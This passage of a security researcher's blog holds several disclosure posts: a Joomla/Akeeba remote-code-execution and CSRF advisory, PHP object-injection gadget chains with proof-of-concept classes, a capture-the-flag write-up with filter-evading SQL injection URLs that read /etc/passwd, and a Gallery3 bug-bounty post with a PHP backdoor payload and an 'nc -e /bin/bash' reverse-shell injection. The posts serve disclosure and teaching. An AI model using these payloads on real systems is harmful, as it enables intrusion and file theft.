This way, the full path of the script is added to the serialized AKFactory object in the HTML response and the document root can be obtained by the attacker. Also, if the restoration.php file is created naturally, it includes the destination directory of the update as setup parameter. It usually points to an installation directory within the document root.

5. Ping or CSRF (CVE 2014-7229)

One important last step remains for exploitation. The Akeeba Kickstart script will abort in the beginning if no restoration.php file exists. This file is created during an update, but is deleted again at the end of an update. This makes it difficult to exploit the issue, but not impossible.

An update lasts about 3 seconds. That means an attacker can constantly ping the targeted installation for an existing administrator/components/com_joomlaupdate/restoration.php file during an update period. If the administrator performs the update, the restoration.php file will exist long enough to carry out the attack. Note, that this attack would generate quite some log entries.

For Joomla!, there is an alternative. The following URL will create a valid restoration.php file persistently if opened by an administrator:


Joomla! will attempt to start an update but cannot finish it because of missing parameters. Because no CSRF token is in place, the link can be used against logged-in administrators in a CSRF attack (e.g., Joomla article comment). Once the CSRF attack succeeded, the attacker can exploit at any time.


Joomla! 3.3.4 and various Akeeba Backup products are affected by a vulnerability that leads to remote code execution on the targeted web server. However, the attack requires social engineering against an administrator or repeatedly sent requests to the web server until an update is performed.

Joomla! and Akeeba Backup have released patches. It it is advised to update your software immediately and if possible, this time maybe not through Akeeba Kickstart😉. You may also want to check your web server’s access.log. I would like to thank Michael Babker (JSST) and Nicholas Dionysopoulos (Akeeba) for a very fast respond and patch time!


[24.09.2014] – Asking for direct contact at JSST and Akeeba Backup
[24.09.2014] – Advisory + PoC disclosure to both vendors
[24.09.2014] – Patch provided by Akeeba Backup for review
[29.09.2014] – CVE-2014-7228 and CVE-2014-7229 assigned
[30.09.2014] – Security updates for affected Akeeba products released
[30.09.2014] – Joomla! 3.3.5 released
[01.10.2014] – Joomla! 3.3.6 released

Joomla! 3.0.2 POI (CVE-2013-1453) – Gadget Chains

October 3, 2014

I am still developing a new prototype for the precise static code analysis of PHP applications as part of my PhD research. Recently, I added the detection of second-order vulnerabilities and the analysis of exploitable gadget chains for PHP Object Injection (POI) / unserialize vulnerabilities.

In the evaluation of the latest paper, we tried to detect known POI vulnerabilities from CVE entries as well as new POI vulnerabilities with the new RIPS prototype. On request, I am publishing the detected gadget chains for CVE-2013-1453. Please note, that these chains do not impose new security risks to the latest Joomla! version and are only overlooked ways of exploitation for an old vulnerability.

The details of the POI vulnerability in Joomla! 3.0.2 are explained by Egidio Romano. With the support of object-oriented code the new RIPS prototype could detect this vulnerability successfully. Once a POI is found, its severity is defined by the available gadget chains an attacker can use for exploitation. RIPS is capable of analyzing possible chains automatically. The details for two gadget chains were manually found and published previously. Next to these two chains, RIPS detected another 3 chains. Two of them I found quite interesting.

Autoloaded Local File Inclusion

The most useful initial gadget in Joomla! 3.0.2 is the __destruct() method of the class plgSystemDebug. It calls the method isAuthorisedDisplayDebug() which then calls the method get() on the object in the property params. Because this property is under the attackers control he can deligate the control flow to any get() method defined in Joomla’s classes by instantiating an object of the class of choice in the property params.

// plugins/system/debug/debug.php

class plgSystemDebug
	public function __destruct()
		if (!$this->isAuthorisedDisplayDebug())

	private function isAuthorisedDisplayDebug()
		$filterGroups = (array) $this->params->get('filter_groups', null);

The get() method in JInput can be used to trigger a file deletion and the method in JCategories triggers a blind SQL injection. Lets have a look at the get() method of the class JViewLegacy:

// libraries/legacy/view/legacy.php

class JViewLegacy
	public function get($property, $default = null)
		if (is_null($default))
			$model = $this->_defaultModel;
			$model = strtolower($default);

		if (isset($this->_models[$model]))
			$method = 'get' . ucfirst($property);

			if (method_exists($this->_models[$model], $method))


While easily overlooked in manual audits, built-in functions such as method_exists() and class_exists() are configured in RIPS as conditional sensitive sinks. If their first argument is controlled by an attacker and a vulnerable autoloader was detected, a security vulnerability report is issued. The reason for this is that these built-in functions automatically invoke any defined autoloader, as noted in the PHP manual for method_exists():

"Note: Using this function will use any registered autoloaders if the class is not already known."

A autoloader is considered to be vulnerable, if the class name in the first parameter is not sanitized before it is used in a sensitive sink (commonly a file inclusion). Then, a tainted argument of method_exists() can reach this sensitive sink when the autoloader is invoked with it. This works for PHP 5.1.0 – 5.4.23 and PHP 5.5.0 – 5.5.7 and was patched in PHP 5.4.24 and 5.5.8, where only alphanumeric class names invoke the autoloader.

Joomla! 3.0.2 defines two autoloaders:

spl_autoload_register(array('JLoader', 'load'));  
spl_autoload_register(array('JLoader', '_autoload')); 

The autoloader JLoader::load() basically looks up the class name in a static list of classes. The autoloader JLoader::_autoload() is able to dynamically include classes. If the class name starts with the prefix letter J, the class file is looked up within the method _load() in the base directories libraries/joomla/, libraries/legacy/, and libraries/cms/. Subdirectories are determined by splitting a camel cased class name at its uppercase letters.

// libraries/loader.php

abstract class JLoader
	private static function _load($class, $lookup)
		// Split the class name into parts separated by camelCase.
		$parts = preg_split('/(?<=[a-z0-9])(?=[A-Z])/x', $class);

		foreach ($lookup as $base)
			$path = $base . '/' . implode('/', array_map('strtolower', $parts)) . '.php';

			if (file_exists($path))
				 include $path;

For example, the unknown class JFooBar will result in the following three autoload lookups:


Thus, a lookup of the class J../../../../../../etc/passwd%00 in method_exists() can be triggered through this gadget chain. For this purpose the payload has to reside as default model in the models array of the JViewLegacy object.

// PoC

class JViewLegacy {
	protected $_defaultModel;
	protected $_models = array();
	public function __construct() {
		$this->_defaultModel = 'rips';
		$this->_models['rips'] = "J../../../../../../etc/passwd\x00";

This will successfully launch a path traversal attack with null byte injection in Joomlas autoloader and include the local /etc/passwd file (PHP 5.1.0 – 5.3.3). Note, that directly unserializing an object of this class name would not work, because unserialize allows only alphanumeric class names in a serialized string (it does work in PHP 5.0.0 – 5.0.3 though).

File Permission Modification

A less severe and at first sight straight-forward chain was reported in the class JStream. Its __destruct() method calls the method close(), which calls the method chmod(). It allows to change the file permissions of an arbitrary file defined in the filename property to the rights defined in the filemode property (line 43). One could also trigger a connection string injection through JFilesystemHelper::ftpChmod() for SSRF exploitation in line 39 but we ignored this in our evaluation (update: this can also be used for DoS).

// libraries/joomla/filesystem/stream.php

class JStream
	public function __destruct()
		if ($this->fh)

	public function close()
		if ($this->openmode[0] == 'w')

	public function chmod($filename = '', $mode = 0)
		if (!$filename)
			$filename = $this->filename;

		if (!$mode)
			$mode = $this->filemode;

		$sch = parse_url($filename, PHP_URL_SCHEME);

		switch ($sch)
			case 'ftp':
			case 'ftps':
				$res = JFilesystemHelper::ftpChmod($filename, $mode);

				$res = chmod($filename, $mode);

Interesting about this chain is the exploitation. Although it seems straight-forward, the class JStream is not loaded by default. RIPS reported this chain nonetheless because it detected an autoloader. What RIPS does not know (and cannot reason about) is that the autoloader does not work for the class name JStream because it resides in /libraries/joomla/filesystem/stream.php. Thus, the correct class name of JStream for the autoloader should be JFilesystemStream. However, because the autoloader does not find libraries/joomla/stream.php, the class is not included and the unserialize() fails. For successfull exploitation, one has to somehow fix the autoloader.

My first idea was to abuse the previously introduced POP chain to trigger a method_exists() call on the string “JFilesystemStream”. This would invoke the autoloader to correctly include JStream and the application would be able to unserialize another injected JStream object. However, there is a much simpler solution:

// PoC

class JFilesystemStream {

class JStream {
	protected $fh;
	protected $openmode;
	protected $filename;
	protected $filemode;
	public function __construct() {
		$this->fh = true;
		$this->openmode[0] = 'w';
		$this->filename = '/tmp/rips';
		$this->filemode = 0777;

echo base64_encode(serialize(array(array(new JFilesystemStream, new JStream))));

We simply create a fake object of the non-existing class JFilesystemStream in an array before our actual JStream object. During deserialization the class name JFilesystemStream will invoke the autoloader for us first and resolve the correct file for the JStream class. Then, our weaponized JStream object will be loaded successfully. The class JFilesystemStream does not exist and the first unserialized object will be of type __PHP_Incomplete_Class. This would trigger a catchable fatal error in the application flow after the POI which can be avoided by using a multi-dimensional array. At the end, the __destruct() method of the JStream class is successfully triggered and the chain is executed to change the file permissions.

Directory Creation

The third chain in our report leverages a call to a different get() method when injecting a plgSystemDebug object. It allows to create arbitrary directories in the file system. Note, because of the low severity, we grouped this chain and the previous chain to the generic name Filesystem Manipulation. The name of the exploited class JCacheStorageFile fits to its file path such that no autoloader tricking is neccessary.

// libraries/joomla/cache/storage/file.php

class JCacheStorageFile {

	public function get($id, $group, $checkTime = true)
		$path = $this->_getFilePath($id, $group);

	protected function _getFilePath($id, $group)
		$name = $this->_getCacheId($id, $group);
		$dir = $this->_root . '/' . $group;

		if (!is_dir($dir))
			$indexFile = $dir . '/index.html';
			@ mkdir($dir) && file_put_contents($indexFile, '');

One could argue about the severity of this chain, but as I will show in the next post and as demonstrated earlier, it can be very handy to know about file system modifications. For example, the application might check if the installation directory is present and only then expose features that would not be exploitable otherwise. Thus, this chain was counted as true positive report in our paper.

The evaluation showed once again that precise static code analysis can be really helpful to point you to a vulnerability. However, the exploitation of the affected code path is often not as straight-forward as it seems.

Secuinside CTF 2013 writeup – The Bank Robber

May 26, 2013

This weekend I had a look at the secuinside CTF web challenges. As last year I really enjoyed them, thank you to the author. The Bank Robber was a website of a bank robber crew. It had two security vulnerabilities one had to identify and exploit step by step. First, a SQL Injection was exploited to read the applications source code. Then the source code was analyzed for a File Disclosure vulnerability to read the flag file.

1. SQL Injection

A SQL Injection was located in the list of hacked bank websites that had a search feature. Next to a keyword, the search feature allowed to specify a type (NUM, ATTACKER, or URL) and there was obviously some URL rewriting going on. Searching for the keyword “asd” and the different types resulted in the following URLs:

It turned out, that the type was the $column name in a SQL WHERE clause. Magic quotes was enabled so exploiting the keyword was not possible.

select * from hacked_list where $column like '%$word%' order by time desc

However, we could inject own SQL syntax into the query via column name. We used a hash tag to cut off everything behind our injection.

Note that we had to use double urlencoding because of some redirecting. Extracting data via UNION SELECT or a subselect did not work because there was some filtering going on.

1.1 Filter Evasion

After I while I tried to read files with load_file(). To my surprise it seemed to work, but the length of the /etc/passwd file I was trying to read was 11 characters.

Reading the content char by char revealed that I just accessed the string /etc/passwd I passed as argument to load_file(). It turned out, that the string load_file was replaced with an empty string. That helped a lot to evade the filter, because unload_fileion will then be replaced to union. I used multi-line comments /**/ to avoid spaces and placed the string load_file into every keyword I assumed filtering. Now I could form a UNION SELECT and read all databases, tables, and columns:**%252fseleload_filect%252f**%252f1,2,schema_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252eschemata%2523.1
hacked_list: idx,url,attacker,time**%252fseleload_filect%252f**%252f1,user%28%29,column_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252ecoluload_filemns%252f**%252fwload_filehere%252f**%252ftaload_fileble_name=0x6861636B65645F6C697374%2523.1
_BH_layout: idx,layout_name,position,path

The table hacked_list could already be read through the application and the table _BH_layout contained the following entries:

idx	path						layout_name	position
1	./book_store_skin/head.html	1			head
2	./book_store_skin/foot.html	1			foot
3	./reverted/h.htm			2			head
4	./reverted/f.htm			2			foot

There was only one database and no flag in any table, so I tried to read files again.

When I looked at the source code of the application later on, I noticed that a simple unIoN would have been enough to evade the case-sensitive filter:

function filtering($str){
 	$str = preg_replace("/select/","", $str);
 	$str = preg_replace("/union/","", $str);
 	$str = preg_replace("/from/","", $str);
 	$str = preg_replace("/load_file/","", $str);
 	$str = preg_replace("/ /","", $str);
 	return $str;

1.2 Find/Read Source Code

First, I tried to load the /etc/passwd file, this time with loadload_file_file because the string load_file is deleted by the filter once, leaving another load_file:**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F6574632F706173737764%29,4%2523.1

It worked. The /etc/passwd contained the following line:


Because there was some URL rewriting, I assumed a .htaccess file in the DocumentRoot. However, I could not access /var/www/.htaccess or any other file in /var/www/. The DocumentRoot must be somewhere else. Next, I tried to read the webserver’s configuration files. After a look at the list of default layout for Apache I found Apache’s configuration file in the default location /etc/apache2/apache2.conf for ubuntu. However, no DocumentRoot was specified. Further, I read the file /etc/apache2/ports.conf and finally /etc/apache2/sites-available/default where I found the DocumentRoot:

DocumentRoot /site

Now I could read the /site/.htaccess file that revealed the URL rewriting and the PHP file:

ReWriteEngine On

ReWriteRule ^$ ./Main_Site/TBR.php
RewriteRule ^layouts\/(.+) ./Main_Site/layouts/$1
ReWriteRule ^[M]\.([a-zA-Z]+)\.(.+)\.(.+)$ ./Main_Site/TBR.php?_type=M&_act=$1&column=$2&word=$3
ReWriteRule ^[P]\.home\.([12]) ./Main_Site/TBR.php?_type=P&_act=home&_skin=$1

ReWriteRule ^[P]\.([a-zA-Z]+)$ ./Main_Site/TBR.php?_type=P&_act=$1
ReWriteRule ^[M]\.([a-zA-Z]+) ./Main_Site/TBR.php?_type=M&_act=$1

Finally, I could read the source of the application located at /site/Main_Site/TBR.php with the following request:**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F736974652F4D61696E5F536974652F5442522E706870%29,4%2523.1

2. File Disclosure

On top of the file /site/Main_Site/TBR.php a hint is given where the flag file is located:

:: HINT ::
root@ubuntu:/var/lib/php5# pwd
root@ubuntu:/var/lib/php5# ls -l FLAG
-r--r----- 1 root www-data 32 May 25 17:26 FLAG

It tells us that we cannot read the flag file /var/lib/php5/FLAG with the SQL Injection because MySQL runs with a different user and the file is only readable to the user root and www-data. So we need to exploit the PHP script running with www-data. Lets analyze the script TBR.php.

2.1 Code Analysis

First, the application initializes some important paths in $_BHVAR:

$_BHVAR = Array(
	'path_layout'	=>	'./layouts/',
	'path_lib'	=>	'./lib/',
	'path_module'	=>	'./modules/',
	'path_page'	=>	'./pages/',
	'path_tmp'	=>	'./tmp/'

Then, it simulates magic_quotes_gpc=on and register_globals=on:

if(!get_magic_quotes_gpc()){ /* escape all GPC superglobals */ }
if(!ini_get("register_globals")) extract($_GET);

At this point we can overwrite any previously declared variable, namely the $_BHVAR array and its elements because extract will register any GET parameter as variable in the global scope. For example, the key $_BHVAR[‘path_layout’] can be overwritten by using the following URL:

Now lets see what we can do with this. The script includes two more files:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";

We cannot trigger a RFI because allow_url_include=off and we cannot set the $_BHVAR[‘path_lib’] path to our FLAG file because a filename is appended. A nullbyte injection is prevented because magic_quotes_gpc=on. Lets move on.

The first included file database.php contains the MySQL connection credentials:

 if(!defined('__BHACK__')) exit();
 $_BHVAR['db'] = Array(
 	'host'	=>	'localhost',
 	'user'	=>	'bhack_db',
 	'pass'	=>	'bhack_p4zz',
 	'name'	=>	'BHACK_DB'

The included file functions.php contains the db_conn() and get_layout() functions that are used in the following:

function db_conn(){
 	global $_BHVAR;
	mysql_connect($_BHVAR['db']['host'], $_BHVAR['db']['user'], $_BHVAR['db']['pass']);

 function get_layout($layout, $pos){
	$result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'");
	$row = mysql_fetch_array($result);
	if (!isset($row['path'])){
		if ($pos = 'head'){
			return "./reverted/h.htm";
		} else {
			return "./reverted/f.htm";
	return $row['path'];

Next, the application establishes a MySQL connection with the function db_conn() and reads the header file name for the current layout from the database. Finally, it prints the content of the header file to the HTML response.

$_skin = $_SESSION['skin'];

$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

We want to achieve that the variable $head contains the string /var/lib/php5/FLAG to print the FLAG file instead the HTML header file. Again, we cannot use $_BHVAR[‘path_layout’] because we cannot truncate the appended layout filename with a nullbyte. However, we can empty the path $_BHVAR[‘path_layout’]. Next, we need to find a way that get_layout() returns our FLAG file name. A SQL Injection is prevented by magic_quotes_gpc=on.

2.2 Redirecting the MySQL server

The trick is to let the application connect to our own MySQL server that returns a different HTML header filename, namely the path to our flag file. Lets have a look at the source code again:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";
$_skin = $_SESSION['skin'];

$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

First, we overwrite $_BHVAR[‘path_lib’] so that the include of the database credentials fails. Then, we can register our own database credentials through register_globals. We leave the $_BHVAR[‘path_module’] as it is, so the include of the functions will not fail. Then, the function db_conn() will connect to our remote MySQL server. Next, we overwrite $_BHVAR[‘path_layout’] with an empty string and make sure that our MySQL database returns the path to the flag file as layout file when retrieved with get_layout().

For this purpose, we setup the following MySQL database on our remote server listing on the default port 3306:

create database BHACK_DB;
grant all privileges on BHACK_DB.* to bhack_db identified by 'bhack_p4zz';
create table _BH_layout (idx INT, layout_name VARCHAR(255), position VARCHAR(10), path VARCHAR(255));
insert into _BH_layout VALUES (1, '1', 'head', '/var/lib/php5/FLAG');

And finally we can trigger the redirect. We let the include of the original MySQL credentials fail, inject our own MySQL credentials and empty the prefix of the header file name:

Then the location of the flag file is returned from our remote database and the flag is printed as HTML header:


Thanks again to the author of this cool challenge!

Gallery Project 3.0.4 BugBounty: Remote Code Execution (admin)

March 6, 2013

The Gallery Project is a photo album organizer written in PHP which is part of a BugBounty program. When launching the Gallery3 web application it is checked whether the configuration file /gallery3/var/database.php is present. If not, the installation routine is initiated which in the end creates this configuration file. Otherwise the application launches normally.

During the installation process it is possible to inject arbitrary PHP code into the database config file, leading to Remote Code Execution (RCE) on the target web server. For successful exploitation by an remote attacker it is required that the installation routine has not yet been completed on the web server.

However, another vulnerability in the administrator interface allows to delete arbitrary files. Thus, it is possible for an administrator to delete the database.php file with this second vulnerability, redo the installation, and inject a PHP backdoor with the first vulnerability. A XSS vulnerability (also reported in this release) can be used to gain admin privileges.

user —XSS—> admin –FILEDELETE–> installer —RCE—> shell

Vulnerability 1 – Code Execution

In /gallery3/installer/web.php line 35 and the following the $config values are filled with data supplied by the user:

$config = array("host" => $_POST["dbhost"],
                "user" => $_POST["dbuser"],
                "password" => $_POST["dbpass"],
                "dbname" => $_POST["dbname"],
                "prefix" => $_POST["prefix"],
                "type" => function_exists("mysqli_set_charset") ? "mysqli" : "mysql");

To avoid code injection, single quotes within the password are escaped in /gallery3/installer/web.php line 44:

    foreach ($config as $k => $v) {
      if ($k == "password") {
        $config[$k] = str_replace("'", "\\'", $v);
      } else {
        $config[$k] = strtr($v, "'`", "__");

The database credentials are then used to setup the Gallery3 database and if everything worked well, the credentials are copied into the configuration file template (/gallery3/installer/database_config.php) which uses single quotes around the credential strings.

$config['default'] = array(
  'benchmark'     => false,
  'persistent'    => false,
  'connection'    => array(
    'type'     => '<?php print $type ?>',
    'user'     => '<?php print $user ?>',
    'pass'     => '<?php print $password ?>',
    'host'     => '<?php print $host ?>',

A single quote in the password will be replaced to \’. However, if an attacker injects a backslash followed by a single quote \’ the resulting string is \\’. Now the backslash is escaped, leaving the single quote unescaped.

With this trick it is possible to break out of the single quotes and inject malicious PHP code into the /gallery3/var/database.php configuration file. This file is included by the Gallery3 core application which will execute the injected PHP code on every visited subpage.

To exploit the vulnerability an attacker can create a MySQL user on an external server with the following password:


During the installation process he specifies his external MySQL server and enters the following password:


Due to the escaping a backslash is added to the password, transforming it to a valid database credential and the database configuration file will contain the following backdoored PHP code:

$config['default'] = array(
	'benchmark'	=> false,
	'persistent'	=> false,
	'connection'	=> array(
		'type'	=> 'mysqli',
		'user'	=> 'reiners',
		'pass'	=> '\\',"f"=>system($_GET[c]),//',
		'host'	=> '',

Then the attacker sets his MySQL password to \\ to not break the application and is now able to execute arbitrary PHP code on the target webserver.

RCE in Gallery3

RCE in Gallery3

This bug was rated as moderate/major by the Gallery3 team and was rewarded with $700.

Vulnerability 2 – Arbitrary File Delete

Because an uninstalled instance of Gallery3 is unlikely to be found, an attacker is interested in deleting the database.php configuration file to gain access to the vulnerable installer again. A vulnerability that allows to delete any file on the server was found in the Gallery3 administration interface.

The Watermark module is shipped by default with Gallery3 and can be activated in the modules section of the administration interface. After a watermark image file has been uploaded, the name of the watermark image file can be altered in the advanced settings section. The altered file name is used when deleting the watermark image file again. The delete function of the watermark module in /modules/watermark/controllers/admin_watermarks.php suffers from a Path Traversal vulnerability in line 70:

  public function delete() {

    $form = watermark::get_delete_form();
    if ($form->validate()) {
      if ($name = module::get_var("watermark", "name")) {
        @unlink(VARPATH . "modules/watermark/$name");

Here, the altered $name of the image file is used unsanitized. To delete the configuration file a malicious administrator can change the watermark image file name to ../../database.php and delete the watermark file. Further, log files and .htaccess files can be deleted.

This bug was not rated as a security bug by the Gallery3 team. Although I did not endorse this rating I think this vulnerability helped to improve the rating of vulnerability 1.


The Gallery 3.0.4 packager uses the MySQL database credentials provided during installation unsanitized in a shell command. An attacker who is able to enter/change the database credentials can inject arbitrary shell commands which will be executed on the target web server if the packager is locally executed later on.

In /gallery3/modules/gallery/controllers/packager.php line 97 the following command is executed to dump the database:

    $command = "mysqldump --compact --skip-extended-insert --add-drop-table -h{$conn['host']} " .
      "-u{$conn['user']} $pass {$conn['database']} > $sql_file";
    exec($command, $output, $status);

However, the database credentials supplied by the user on installation are used unsanitized in the shell command, allowing arbitrary command execution. A malicious admin can use vulnerability 2 to gain access to the installer and specify the following database password (not affected by escaping):

1 ;nc 4444 -e/bin/bash;

If the password is valid on a specified remote MySQL server the password is written to the database.php configuration file. Once the packager is executed with the local shell command php index.php package later on, the following command is executed by the application:

mysqldump --compact --skip-extended-insert --add-drop-table -ureiners -p1 ; 
nc 4444 -e/bin/bash;

The attacker listens on port 4444, receives the remote shell connection and is able to execute arbitrary commands on the target web server. However, a local administrator has to execute the packager command on the target web server which requires social engineering. This bug was rated as minor by the Gallery3 team and was rewarded with $100.

All bugs were found with the help of RIPS and are patched in the latest Gallery 3.0.5 release.